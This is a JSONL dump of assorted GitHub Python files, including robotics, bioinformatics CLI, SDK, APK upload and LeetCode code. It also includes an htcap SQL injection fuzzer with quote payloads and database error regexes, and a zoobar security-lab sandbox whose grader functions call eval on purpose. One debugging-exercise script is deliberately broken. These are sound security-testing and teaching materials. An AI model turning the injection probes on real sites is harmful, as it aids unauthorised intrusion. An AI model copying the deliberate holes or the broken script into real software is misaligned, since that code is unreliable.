                                    traj_gae_1f,\n                                                traj_returns_1f)\n                loss_1f.backward(retain_graph=False)\n                optimizer.step()\n                idx+=BATCH_SIZE\n            if kld_thresh.item() >=KLD_THRESH:\n                # print('[info]-- reaches the kld thresh')\n                break\n\n        \"\"\"update policy using the 2-frame data\"\"\"\n        traj_states_2f_pool = torch.cat([torch.cat(traj_ppo['states'][1:]).detach() for traj_ppo in traj_ppo_list if len(traj_ppo['states'])>1 ]) #[b,t,d]\n        traj_z_2f_pool = torch.cat([torch.cat(traj_ppo['actions'][1:]).detach() for traj_ppo in traj_ppo_list if len(traj_ppo['actions'])>1 ])#[b,d]\n        traj_z_logprob_2f_pool = torch.cat([torch.cat(traj_ppo['action_logprob'][1:]).detach() for traj_ppo in traj_ppo_list if len(traj_ppo['action_logprob'])>1 ]) #[b,d]\n        traj_gae_2f_pool = torch.cat([torch.cat(traj_ppo['gae'][1:]).detach() for traj_ppo in traj_ppo_list if len(traj_ppo['gae'])>1 ]) #[b,d]\n        traj_returns_2f_pool = torch.cat([torch.cat(traj_ppo['returns'][1:]).detach() for traj_ppo in traj_ppo_list if len(traj_ppo['returns'])>1] ) #[b,d]\n        N_samples = traj_gae_2f_pool.shape[0]\n        \n        for _ in range(max_train_iter_2f):\n            idx = 0\n            rr = torch.randperm(N_samples)\n            traj_states_2f_pool = traj_states_2f_pool[rr]\n            traj_z_2f_pool = traj_z_2f_pool[rr]\n            traj_z_logprob_2f_pool = traj_z_logprob_2f_pool[rr]\n            traj_gae_2f_pool = traj_gae_2f_pool[rr]\n            while idx < N_samples:\n                traj_states_2f=traj_states_2f_pool[idx:idx+BATCH_SIZE]\n                traj_z_2f=traj_z_2f_pool[idx:idx+BATCH_SIZE]\n                traj_z_logprob_2f=traj_z_logprob_2f_pool[idx:idx+BATCH_SIZE]\n                traj_gae_2f=traj_gae_2f_pool[idx:idx+BATCH_SIZE]\n                traj_returns_2f=traj_returns_2f_pool[idx:idx+BATCH_SIZE]\n                optimizer.zero_grad()\n                loss_2f, loss_items_2f, kld_thresh = calc_loss_policy_val(\n                                                traj_states_2f,\n                                                traj_z_2f,\n                                                traj_z_logprob_2f,\n                                                traj_gae_2f,\n                                                traj_returns_2f)\n                loss_2f.backward(retain_graph=False)\n                optimizer.step()\n                idx+=BATCH_SIZE\n            if kld_thresh.item() >=KLD_THRESH:\n                break\n\n\n\n        '''save the checkpoints'''\n        save_per_x_ep = 50 if epoch < 500 else cfg_policy.trainconfig['saving_per_X_ep']\n        if ((1+epoch) % save_per_x_ep==0) :\n            torch.save({\n                        'epoch': epoch+1,\n                        'model_state_dict': policy_model.state_dict(),\n                        'optimizer_state_dict': optimizer.state_dict(),\n                        }, cfg_policy.trainconfig['save_dir'] + \"/epoch-\" + str(epoch + 1) + \".ckp\")\n\n        epoch+=1\n\n\n","repo_name":"yz-cnsdqz/GAMMA-release","sub_path":"exp_GAMMAPrimitive/train_GAMMAPolicy.py","file_name":"train_GAMMAPolicy.py","file_ext":"py","file_size_in_byte":31610,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"37"}
+{"seq_id":"27404523834","text":"import libraries.roboclaw_utilities as ru \nimport time \n\nserial_port = \"/dev/ttyS0\"\nbaudrate = 115200\ntimeout = 0.1\ninter_byte_timeout = 0.1\n\nrc = ru.RoboClaw()\n\nret = rc.Open(\n    serial_port, baudrate, timeout, \n    inter_byte_timeout\n)\n\ndrive_address = 0x80\n\nfor speed in range(-90, 90, 10):\n    left_ret, right_ret = rc.set_direction(\n        drive_address, speed/100, speed/100\n    )\n\n    print(left_ret, right_ret)\n    time.sleep(1)\n\nleft_ret, right_ret = rc.set_direction(\n    drive_address, 0.0, 0.0\n)\n","repo_name":"edpiedra/goggles-motors","sub_path":"motors-test.py","file_name":"motors-test.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40729422628","text":"import pandas as pd\nimport argparse\nimport numpy as np\nimport os\n\n\nfrom . import prep\nfrom . import status\nfrom . import merge\nfrom . import remainder\n\n\ndef time_minimum(x):\n    x = int(x)\n\n    if x < 2:\n        raise argparse.ArgumentTypeError(\"Minimum time is 2 hours\")\n    return x\n\n\ndef command_mutpred_prep(args):\n    \n    mut = prep.MutPredpy(\n        input=args.input,\n        project=args.project,\n        time=args.time,\n        dry_run=args.dry_run,\n        canonical=args.canonical,\n        database=args.database,\n        assembly=args.assembly,\n    )\n    \n    mut.prepare_mutpred_input()\n\n\ndef command_status(args):\n    summary = status.Status(\n        input=args.input,\n        project=args.project,\n        all=args.all\n    )\n\n    summary.mutpred_summary()\n\n\ndef command_debug(args):\n    mutpred_stat = status.Status(\n        input=args.input,\n        project=args.project,\n        all=args.all\n    )\n\n    mutpred_stat.mutupred_debugging()\n\n\ndef command_merge(args):\n\n    merge.merge(dry_run=args.dry_run)\n\n\ndef command_remainder(args):\n    \n    \n    R = remainder.Remaining(\n        input=args.input,\n        project=args.project,\n        exclude=args.exclude,\n        time=args.time,\n        dry_run=args.dry_run\n    )\n    \n    R.split_and_build_lsf()\n\n\n\ndef build_parser():\n    \n    parser = argparse.ArgumentParser(description=\"MutPredPy functions\")\n\n    subparsers = parser.add_subparsers(\n        title=\"commands\",\n        description=\"The following commands are available:\",\n        help='For additional help: \"MutPredPy <COMMAND> -h\"',\n    )\n\n    \n    # ============== MutPredPy Prepare ==============\n    parser_mutpredPrepare = subparsers.add_parser(\n            \"prepare\", \n            help=\"Takes an input file and outputs faa files in preparation to run MutPred suite\"\n        )\n\n    parser_mutpredPrepare.add_argument(\n                '--time', type=time_minimum, nargs=\"?\", default=24, \n                help=\"Target time in hours to run the jobs\"\n            )\n    parser_mutpredPrepare.add_argument(\n                '--input', type=str, nargs='?',\n                help='The name of the input filename that is located in the data folder'\n            )\n    parser_mutpredPrepare.add_argument(\n                '--project', type=str, nargs='?',\n                help='The name of the project for organization purposes'\n            )\n    parser_mutpredPrepare.add_argument(\n                \"--dry_run\", action=\"store_true\", \n                help='Calculate the resources that would be used with the current parameters'\n            )\n    parser_mutpredPrepare.add_argument(\n                \"--canonical\", action=\"store_true\", \n                help='Only prepare canonical isoforms for mutpred scoring'\n            )\n    parser_mutpredPrepare.add_argument(\n                \"--database\", type=str, nargs='?', default=\"None\",\n                help=\"Path to option config.yaml file for linking to mysql database. Include the name of the configuration in the config.yaml file after an @ symbol (ex. /path/to/file@Remote). If no config name included, program will default to 'Local'.\"\n            )\n    parser_mutpredPrepare.add_argument(\n                \"--assembly\", type=str, nargs='?', default=\"hg38\",\n                help=\"Identify which genome assembly the variants are built from (hg19, hg38)\"\n    )\n    parser_mutpredPrepare.set_defaults(func=command_mutpred_prep)\n    \n\n\n    # ============== MutPredPy Status ==============\n    parser_mutpredStatus = subparsers.add_parser(\n            \"status\", \n            help=\"Check the status of a given job with the given parameters\"\n        )\n\n    parser_mutpredStatus.add_argument(\n                '--input', type=str, nargs='?',\n                help='The name of the input filename that is located in the data folder'\n            )\n    parser_mutpredStatus.add_argument(\n                '--project', type=str, nargs='?',\n                help='The name of the project for organization purposes'\n            )\n    parser_mutpredStatus.add_argument(\n                \"--all\", action=\"store_true\", \n                help='Show the progress status of all files and jobs'\n            )\n    parser_mutpredStatus.set_defaults(func=command_status)\n\n\n\n    # ============== MutPredPy Status ==============\n    parser_mutpredDebug = subparsers.add_parser(\n            \"debug\", \n            help=\"Check the status of a given job with the given parameters\"\n        )\n\n    parser_mutpredDebug.add_argument(\n                '--input', type=str, nargs='?',\n                help='The name of the input filename that is located in the data folder'\n            )\n    parser_mutpredDebug.add_argument(\n                '--project', type=str, nargs='?',\n                help='The name of the project for organization purposes'\n            )\n    parser_mutpredDebug.add_argument(\n                \"--all\", action=\"store_true\", \n                help='Show the progress status of all files and jobs'\n            )\n    parser_mutpredDebug.set_defaults(func=command_debug)\n\n\n\n    # ============== MutPredPy Merge ==============\n    parser_mutpredMerge = subparsers.add_parser(\n            \"merge\", \n            help=\"Combine the output scored mutations from MutPred into a single file.\"\n        )\n    \n    parser_mutpredMerge.add_argument(\n                \"--dry_run\", action=\"store_true\", \n                help='Run through the merging process without saving the output'\n            )\n    parser_mutpredMerge.set_defaults(func=command_merge)\n\n    \n\n    # ============== MutPredPy Remainder ==============\n    parser_mutpredRemainder = subparsers.add_parser(\n            \"remainder\", \n            help=\"Find the leftover unscored variants and create new jobs.\"\n        )\n\n    parser_mutpredRemainder.add_argument('--input', type=str, nargs='?',\n                        help='The name of the input filename that is located in the data folder.')\n    parser_mutpredRemainder.add_argument('--project', type=str, nargs='?',\n                        help='The name of the project for organization purposes')\n    parser_mutpredRemainder.add_argument('--exclude', type=str, nargs='?', required=False, default='[]',\n                        help='LSF sequence of jobs to exlude from the remainder function')\n    parser_mutpredRemainder.add_argument('--time', type=time_minimum, nargs=\"?\", default=24,\n                        help=\"Target time in hours to run the jobs\")\n    parser_mutpredRemainder.add_argument(\"--dry_run\", action=\"store_true\")\n\n    parser_mutpredRemainder.set_defaults(func=command_remainder)\n\n    return parser\n\n\n\ndef main():\n    parser = build_parser()\n    args = parser.parse_args()\n\n    try:\n        args.func(args)\n    except AttributeError:\n        parser.print_help()\n        parser.exit()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"trberg/MutPredPy","sub_path":"MutPredPy/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":6781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26919043325","text":"from grpc import RpcError, StatusCode\n\n# __all__ should order by constants, event classes, other classes, functions.\n__all__ = ['EscapePodAsyncException',\n           'EscapePodInvalidVersionException',\n           'EscapePodConnectionException',\n           'EscapePodException',\n           'EscapePodNotReadyException',\n           'EscapePodNotFoundException',\n           'EscapePodPropertyValueNotReadyException',\n           'EscapePodTimeoutException',\n           'EscapePodUnavailableException',\n           'EscapePodUnimplementedException',\n           'EscapePodUnreliableEventStreamException',\n           'connection_error']\n\n\nclass EscapePodException(Exception):\n    \"\"\"Base class of all EscapePod SDK exceptions.\"\"\"\n\n\nclass EscapePodConnectionException(EscapePodException):\n    def __init__(self, cause):\n        doc_str = self.__class__.__doc__\n        if cause is not None:\n            self._status = cause.code()\n            self._details = cause.details()\n            msg = (f\"{self._status}: {self._details}\"\n                   f\"\\n\\n{doc_str if doc_str else 'Unknown error'}\")\n            super().__init__(msg)\n        else:\n            super().__init__(doc_str)\n\n    @property\n    def status(self):\n        return self._status\n\n    @property\n    def details(self):\n        return self._details\n\n\nclass EscapePodUnavailableException(EscapePodConnectionException):\n    \"\"\"Unable to reach EscapePod Extension Proxy.\"\"\"\n\n\nclass EscapePodUnimplementedException(EscapePodConnectionException):\n    \"\"\"EscapePod Extension Proxy does not handle this message.\"\"\"\n\n\nclass EscapePodTimeoutException(EscapePodConnectionException):\n    \"\"\"Message took too long to complete.\"\"\"\n\n\ndef connection_error(rpc_error: RpcError) -> EscapePodConnectionException:\n    \"\"\"Translates grpc-specific errors to user-friendly :class:`EscapePodConnectionException`.\"\"\"\n    code = rpc_error.code()\n    if code is StatusCode.UNAVAILABLE:\n        return EscapePodTimeoutException(rpc_error)\n    if code is StatusCode.UNIMPLEMENTED:\n        return EscapePodUnimplementedException(rpc_error)\n    if code is StatusCode.DEADLINE_EXCEEDED:\n        return EscapePodTimeoutException(rpc_error)\n    return EscapePodConnectionException(rpc_error)\n\n\nclass _EscapePodGenericException(EscapePodException):\n    def __init__(self, _cause=None, *args, **kwargs):  # pylint: disable=keyword-arg-before-vararg\n        msg = (f\"{self.__class__.__doc__}\\n\\n{_cause if _cause is not None else ''}\")\n        super().__init__(msg.format(*args, **kwargs))\n\n\nclass EscapePodAsyncException(_EscapePodGenericException):\n    \"\"\"Invalid asynchronous action attempted.\"\"\"\n\n\nclass EscapePodNotReadyException(_EscapePodGenericException):\n    \"\"\"The escapepod_sdk.extention.Client not yet fully initialized.\"\"\"\n\n\nclass EscapePodNotFoundException(_EscapePodGenericException):\n    \"\"\"Unable to establish a connection to Cyb3rVector EscapePod Extension Proxy.\n\nMake sure you're on the same network, and the Extension Proxy is deployed and running.\"\"\"\n\n\nclass EscapePodPropertyValueNotReadyException(_EscapePodGenericException):\n    \"\"\"Failed to retrieve the value for this property.\"\"\"\n\n\nclass EscapePodUnreliableEventStreamException(EscapePodException):\n    \"\"\"The escapepod proxy event stream is currently unreliable.\"\"\"\n\n\nclass EscapePodProxyException(EscapePodException):\n    \"\"\"The Proxy Message returned with a Failure Code.\"\"\"\n    def __init__(self, proxy_exception: str = None):\n        super().__init__(proxy_exception)\n        self._proxy_exception = proxy_exception\n\n    @property\n    def proxy_exception(self) -> Exception:\n        return self._proxy_exception\n","repo_name":"cyb3rdog/escapepod_python_sdk","sub_path":"escapepod_sdk/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"35958737288","text":"import lxml.html\nimport lxml.html.clean\nimport slimit.ast\nimport slimit.parser\nimport lab6visitor\n\nfrom debug import *\n\nlibcode = '''\n<script>\n    var sandbox_document = {\n        getElementById: function(id) {\n            var e = document.getElementById('sandbox-' + id);\n            return {\n                get onclick() { return e.onclick; },\n                set onclick(h) { e.onclick = h; },\n            }\n        },\n    };\n\n    // Do not change these functions.\n    function sandbox_grader(url) {\n        window.location = url;\n    }\n    function sandbox_grader2() {\n        eval(\"1 + 1\".toString());  // What could possibly go wrong...\n    }\n    function sandbox_grader3() {\n        try {\n            eval(its_okay_no_one_will_ever_define_this_variable);\n        } catch (e) {\n        }\n    }\n</script>\n'''\n\ndef filter_html_cb(s, jsrewrite):\n    cleaner = lxml.html.clean.Cleaner()\n    cleaner.scripts = False\n    cleaner.style = True\n    doc = lxml.html.fromstring(s)\n    clean = cleaner.clean_html(doc)\n    for el in clean.iter():\n        if el.tag == 'script':\n            el.text = jsrewrite(el.text)\n            for a in el.attrib:\n                del el.attrib[a]\n        if 'id' in el.attrib:\n            el.attrib['id'] = 'sandbox-' + el.attrib['id']\n    return lxml.html.tostring(clean)\n\n@catch_err\ndef filter_js(s):\n    parser = slimit.parser.Parser()\n    tree = parser.parse(s)\n    visitor = lab6visitor.LabVisitor()\n    return visitor.visit(tree)\n\n@catch_err\ndef filter_html(s):\n    return libcode + filter_html_cb(s, filter_js)\n\n","repo_name":"dymnz/Sec","sub_path":"Lab/lab6/zoobar/htmlfilter.py","file_name":"htmlfilter.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13715162187","text":"#!/usr/bin/env python\n\"\"\" push_apk.py\n\n    Upload the apk of a Firefox app on Google play\n    Example for a beta upload:\n    $ python push_apk.py --package-name org.mozilla.firefox_beta --service-account foo@developer.gserviceaccount.com --credentials key.p12 --apk-x86=/path/to/fennec-XX.0bY.multi.android-i386.apk --apk-armv7-v9=/path/to/fennec-XX.0bY.multi.android-arm-v9.apk --apk-armv7-v11=/path/to/fennec-XX.0bY.multi.android-arm-v11.apk --track production --push_apk\n\"\"\"\nimport sys\nimport os\n\nfrom oauth2client import client\n\n# load modules from parent dir\nsys.path.insert(1, os.path.dirname(sys.path[0]))\n\n# import the guts\nfrom mozharness.base.script import BaseScript\nfrom mozharness.mozilla.googleplay import GooglePlayMixin\nfrom mozharness.base.python import VirtualenvMixin\n\n\nclass PushAPK(BaseScript, GooglePlayMixin, VirtualenvMixin):\n    all_actions = [\n        'create-virtualenv',\n        'push_apk',\n        'test',\n    ]\n\n    default_actions = [\n        'create-virtualenv',\n        'test',\n    ]\n    config_options = [\n        [[\"--track\"], {\n            \"dest\": \"track\",\n            \"help\": \"Track on which to upload \"\n            \"(production, beta, alpha, rollout)\",\n            # We are not using alpha but we default to it to avoid mistake\n            \"default\": \"alpha\"\n        }],\n        [[\"--service-account\"], {\n            \"dest\": \"service_account\",\n            \"help\": \"The service account email\",\n        }],\n        [[\"--credentials\"], {\n            \"dest\": \"google_play_credentials_file\",\n            \"help\": \"The p12 authentication file\",\n            \"default\": \"key.p12\"\n        }],\n        [[\"--package-name\"], {\n            \"dest\": \"package_name\",\n            \"help\": \"The Google play name of the app\",\n        }],\n        [[\"--apk-x86\"], {\n            \"dest\": \"apk_file_x86\",\n            \"help\": \"The path to the x86 APK file\",\n        }],\n        [[\"--apk-armv7-v9\"], {\n            \"dest\": \"apk_file_armv7_v9\",\n            \"help\": \"The path to the ARM v7 API v9 APK file\",\n        }],\n        [[\"--apk-armv7-v11\"], {\n            \"dest\": \"apk_file_armv7_v11\",\n            \"help\": \"The path to the ARM v7 API v11 APK file\",\n        }],\n        [[\"--apk-armv6\"], {\n            \"dest\": \"apk_file_armv6\",\n            \"help\": \"The path to the ARM v6 APK file\",\n        }],\n\n\n    ]\n\n    # Google play has currently 3 tracks. Rollout deploys\n    # to a limited percentage of users\n    track_values = (\"production\", \"beta\", \"alpha\", \"rollout\")\n\n    # We have 3 apps. Make sure that their names are correct\n    package_name_values = (\"org.mozilla.fennec_aurora\",\n                           \"org.mozilla.firefox_beta\",\n                           \"org.mozilla.firefox\")\n\n    def __init__(self, require_config_file=False, config={},\n                 all_actions=all_actions,\n                 default_actions=default_actions):\n\n        # Default configuration\n        default_config = {\n            'debug_build': False,\n            'pip_index': True,\n            # this will pip install it automajically when we call the create-virtualenv action\n            'virtualenv_modules': ['google-api-python-client'],\n            \"find_links\": [   # so mozharness knows where to look for the package\n                \"http://pypi.pvt.build.mozilla.org/pub\",\n                \"http://pypi.pub.build.mozilla.org/pub\",\n            ],\n            # the path inside the work_dir ('build') of where we will install the env.\n            # pretty sure it's the default and not needed.\n            'virtualenv_path': 'venv',\n        }\n        default_config.update(config)\n\n        BaseScript.__init__(\n            self,\n            config_options=self.config_options,\n            require_config_file=require_config_file,\n            config=default_config,\n            all_actions=all_actions,\n            default_actions=default_actions,\n        )\n\n    def check_argument(self):\n        \"\"\" Check that the given values are correct,\n        files exists, etc\n        \"\"\"\n        if self.config['track'] not in self.track_values:\n            self.fatal(\"Unknown track value \" + self.config['track'])\n\n        if self.config['package_name'] not in self.package_name_values:\n            self.fatal(\"Unknown package name value \" +\n                       self.config['package_name'])\n\n        if not os.path.isfile(self.config['apk_file_x86']):\n            self.fatal(\"Could not find \" + self.config['apk_file_x86'])\n\n        if not os.path.isfile(self.config['apk_file_armv7_v9']):\n            self.fatal(\"Could not find \" + self.config['apk_file_armv7_v9'])\n\n        if not os.path.isfile(self.config['apk_file_armv7_v11']):\n            self.fatal(\"Could not find \" + self.config['apk_file_armv7_v11'])\n\n        if self.config.get('apk_file_armv6') and not os.path.isfile(self.config['apk_file_armv6']):\n            self.fatal(\"Could not find \" + self.config['apk_file_armv6'])\n\n        if not os.path.isfile(self.config['google_play_credentials_file']):\n            self.fatal(\"Could not find \" + self.config['google_play_credentials_file'])\n\n    def upload_apks(self, service, apk_files):\n        \"\"\" Upload the APK to google play\n\n        service -- The session to Google play\n        apk_files -- The files\n        \"\"\"\n        edit_request = service.edits().insert(body={},\n                                              packageName=self.config['package_name'])\n        result = edit_request.execute()\n        edit_id = result['id']\n        # Store all the versions to set the tracks (needs to happen\n        # at the same time\n        versions = []\n\n        # For each files, upload it\n        for apk_file in apk_files:\n            try:\n                # Upload the file\n                apk_response = service.edits().apks().upload(\n                    editId=edit_id,\n                    packageName=self.config['package_name'],\n                    media_body=apk_file).execute()\n                self.log('Version code %d has been uploaded. '\n                         'Filename \"%s\" edit_id %s' %\n                         (apk_response['versionCode'], apk_file, edit_id))\n\n                versions.append(apk_response['versionCode'])\n\n            except client.AccessTokenRefreshError:\n                self.log('The credentials have been revoked or expired,'\n                         'please re-run the application to re-authorize')\n\n        # Set the track for all apk\n        service.edits().tracks().update(\n            editId=edit_id,\n            track=self.config['track'],\n            packageName=self.config['package_name'],\n            body={u'versionCodes': versions}).execute()\n        self.log('Application \"%s\" set to track \"%s\" for versions %s' %\n                 (self.config['package_name'], self.config['track'], versions))\n\n        # Commit our changes\n        commit_request = service.edits().commit(\n            editId=edit_id, packageName=self.config['package_name']).execute()\n        self.log('Edit \"%s\" has been committed' % (commit_request['id']))\n\n    def push_apk(self):\n        \"\"\" Upload the APK files \"\"\"\n        self.check_argument()\n        service = self.connect_to_play()\n        apks = [self.config['apk_file_armv7_v9'], self.config['apk_file_armv7_v11'], self.config['apk_file_x86']]\n        if self.config.get('apk_file_armv6'):\n            apks.append(self.config['apk_file_armv6'])\n        self.upload_apks(service, apks)\n\n    def test(self):\n        \"\"\" Test if the connexion can be done \"\"\"\n        self.check_argument()\n        self.connect_to_play()\n\n# main {{{1\nif __name__ == '__main__':\n    myScript = PushAPK()\n    myScript.run_and_exit()\n","repo_name":"classilla/tenfourfox","sub_path":"testing/mozharness/scripts/push_apk.py","file_name":"push_apk.py","file_ext":"py","file_size_in_byte":7598,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"37"}
+{"seq_id":"9564306642","text":"#!/usr/bin/env python\n# Clean AMPL test models by removing script commands such as\n# solve and display.\n\nfrom __future__ import print_function\nimport os, re, sys\n\ndef clean(filename):\n  print(filename)\n  with open(filename, 'r') as f:\n    code = f.read()\n  cleaned_code = re.sub(r'^\\s*solve\\s*;[ \\t]*\\n?', '', code, flags=re.MULTILINE)\n  cleaned_code = re.sub(r'^\\s*(display|printf)(\\s[^;]+)\\s*;[ \\t]*\\n?', '', cleaned_code, flags=re.MULTILINE)\n  if code != cleaned_code:\n    with open(filename, 'w') as f:\n      f.write(cleaned_code)\n\nfor root, dirs, files in os.walk(sys.argv[1]):\n  for f in files:\n    if f.endswith('.mod'):\n      clean(os.path.join(root, f))\n","repo_name":"ampl/global-optimization","sub_path":"util/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"}
+{"seq_id":"13433379310","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nHTCAP - 1.1\nAuthor: filippo.cavallarin@wearesegment.com\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free Software\nFoundation; either version 2 of the License, or (at your option) any later\nversion.\n\"\"\"\n\n\nimport sys\nimport time\nimport re\nimport os\nimport urllib.request, urllib.error, urllib.parse\n\n\nfrom core.lib.exception import *\nfrom core.crawl.lib.shared import *\n\n\nfrom core.lib.request import Request\nfrom core.lib.cookie import Cookie\n\nfrom core.lib.utils import *\nfrom core.constants import *\n\nfrom core.scan.base_fuzzer import BaseFuzzer\n\n\nimport ssl\nimport socket\n\npayloads =  [\n\t\t\"'\",\n\t\t\")\"\n]\n\n\n# taken from sqlmap\nresponses = {\n\n\t\"mysql\": [\n\t\tr'SQL syntax.*?MySQL',\n\t\tr'Warning.*?mysql_',\n\t\tr'MySqlException \\(0x',\n\t\tr'MySQLSyntaxErrorException',\n\t\tr'valid MySQL result',\n\t\tr'check the manual that corresponds to your (MySQL|MariaDB) server version',\n\t\tr'Unknown column \\'[^ ]+\\' in \\'field list\\'',\n\t\tr'MySqlClient\\.',\n\t\tr'com\\.mysql\\.jdbc\\.exceptions',\n\t\tr'Zend_Db_Statement_Mysqli_Exception',\n\t\tr'Fatal error\\:[ ]* Uncaught Error\\:'\n\t],\n\n\t\"postgresql\": [\n\t\tr'PostgreSQL.*?ERROR',\n\t\tr'Warning.*?\\Wpg_',\n\t\tr'valid PostgreSQL result',\n\t\tr'Npgsql\\.',\n\t\tr'PG::SyntaxError:',\n\t\tr'org\\.postgresql\\.util\\.PSQLException',\n\t\tr'ERROR:\\s\\ssyntax error at or near',\n\t\tr'ERROR: parser: parse error at or near',\n\t\tr'PostgreSQL query failed',\n\t\tr'org\\.postgresql\\.jdbc',\n\t],\n\n\t\"mssql\": [\n\t\tr'Driver.*? SQL[\\-\\_\\ ]*Server',\n\t\tr'OLE DB.*? SQL Server',\n\t\tr'\\bSQL Server[^&lt;&quot;]+Driver',\n\t\tr'Warning.*?(mssql|sqlsrv)_',\n\t\tr'\\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}',\n\t\tr'System\\.Data\\.SqlClient\\.SqlException',\n\t\tr'(?s)Exception.*?\\WRoadhouse\\.Cms\\.',\n\t\tr'Microsoft SQL Native Client error \\'[0-9a-fA-F]{8}',\n\t\tr'\\[SQL Server\\]',\n\t\tr'ODBC SQL Server Driver',\n\t\tr'ODBC Driver \\d+ for SQL Server',\n\t\tr'SQLServer JDBC Driver',\n\t\tr'com\\.jnetdirect\\.jsql',\n\t\tr'SQLSrvException',\n\t\tr'macromedia\\.jdbc\\.sqlserver',\n\t\tr'com\\.microsoft\\.sqlserver\\.jdbc',\n\t],\n\n\n\t\"sqlite\": [\n\t\tr'SQLite/JDBCDriver',\n\t\tr'SQLite\\.Exception',\n\t\tr'(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException',\n\t\tr'Warning.*?sqlite_',\n\t\tr'Warning.*?SQLite3::',\n\t\tr'\\[SQLITE_ERROR\\]',\n\t\tr'SQLite error \\d+:',\n\t\tr'sqlite3.OperationalError:',\n\t\tr'SQLite3::SQLException',\n\t\tr'org\\.sqlite\\.JDBC',\n\t]\n\n\n\n}\n\n\nclass Sqli_error(BaseFuzzer):\n\n\tdef init(self):\n\t\tself.vulnerabilities = []\n\n\tdef check_response(self, body):\n\t\tbody = self.utils.strip_html_tags(body)\n\t\tfor rtype in responses:\n\t\t\tfor regex in responses[rtype]:\n\t\t\t#print regex\n\t\t\t\tif re.search(regex, body, re.M):\n\t\t\t\t\treturn True\n\t\treturn False\n\n\n\tdef fuzz(self):\n\t\tmutations = self.get_mutations(self.request, payloads)\n\t\tfor m in mutations:\n\t\t\ttry:\n\t\t\t\tresp = m.send(ignore_errors=True)\n\t\t\texcept RedirectException as e:\n\t\t\t\tself.sprint(\"Redirect IGNORED (%s): %s\" % (self.__class__.__name__, e))\n\t\t\t\tcontinue\n\t\t\texcept Exception as e:\n\t\t\t\tself.sprint(\"Error (%s): %s\" % (self.__class__.__name__, e))\n\t\t\t\tcontinue\n\n\t\t\tif not resp or not resp.body:\n\t\t\t\tcontinue\n\n\t\t\tif self.check_response(resp.body):\n\t\t\t\t#self.sprint(\"\\n   \\033[31mFound: %s\\n  %s %s\\033[0m\" % (m.payload, m.url, m.body))\n\t\t\t\tself.vulnerabilities.append(\"%s=%s  %s\" %  (m.parameter, m.payload,  m.body))\n\t\t\t\tmutations.next_parameter()\n\t\t\t\tcontinue\n\t\treturn self.vulnerabilities\n","repo_name":"fcavallarin/htcap","sub_path":"core/scan/fuzzers/sqli_error.py","file_name":"sqli_error.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":602,"dataset":"github-code","pt":"37"}
+{"seq_id":"8542432138","text":"\nimport json\n\n\ndef is_answer(node):\n    return len(node) == 1\n\n\nf = open(\"/Users/wukaiti/Spiced/bergamot-encoder-encounter-notes/week_02/Debugging/questions.json\")\ncontent = f.read()\nprint(content)\ntry:\n    node = json.reads()\nexcept AttributeError as e:\n    print(\"what do do now?\")\n\nfinished = False\n\nwhile not finished:\n    try:\n        print(node['text'])\n    except NameError as e:\n        print(f\"find where {e} is defined\")\n        if \"is_answer_node\"(node):\n            try:\n                finished = True\n            except NameError as e:\n                print(f\"find where {e} is defined\")\nelse:\n    \"answer\" == input()\n    if \"answer\".upper() in ['yes', 'y']:\n        node = node['no']\n    else:\n        node = node['yes']\n","repo_name":"kaitiwu/Data_Science","sub_path":"week_02/twenty_questions_easy.py","file_name":"twenty_questions_easy.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12405256092","text":"from typing import List\nclass Solution:\n    def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n        \"\"\"\n        Write an efficient algorithm that searches for a value target in an m x n integer matrix matrix.\n\n        This matrix has the following properties:\n        Integers in each row are sorted from left to right.\n        The first integer of each row is greater than the last integer of the previous row.\n        \"\"\"\n        #2d binary search\n        #define size of matrix\n        ROWS, COLS = len(matrix), len(matrix[0])\n        top, bot = 0, ROWS - 1\n        while top <= bot:\n            row = (top + bot) // 2\n            if target > matrix[row][-1]:\n                top = row + 1\n            elif target < matrix[row][0]:\n                bot = row - 1\n            else:\n                break\n        \n        if not (top <= bot):\n            return False\n        #left, right for normal array\n        l, r = 0, COLS - 1\n        #typical binary search with fixed row\n        while l <= r:\n            m = (l + r) // 2\n            if target > matrix[row][m]:\n                l = m + 1\n            elif target < matrix[row][m]:\n                r = m - 1\n            else:\n                return True\n        #just return true or false if value in array\n        return False","repo_name":"JamesAlexanderLeak/leetcodeProblems","sub_path":"74_Search_a_2D_Matrix.py","file_name":"74_Search_a_2D_Matrix.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
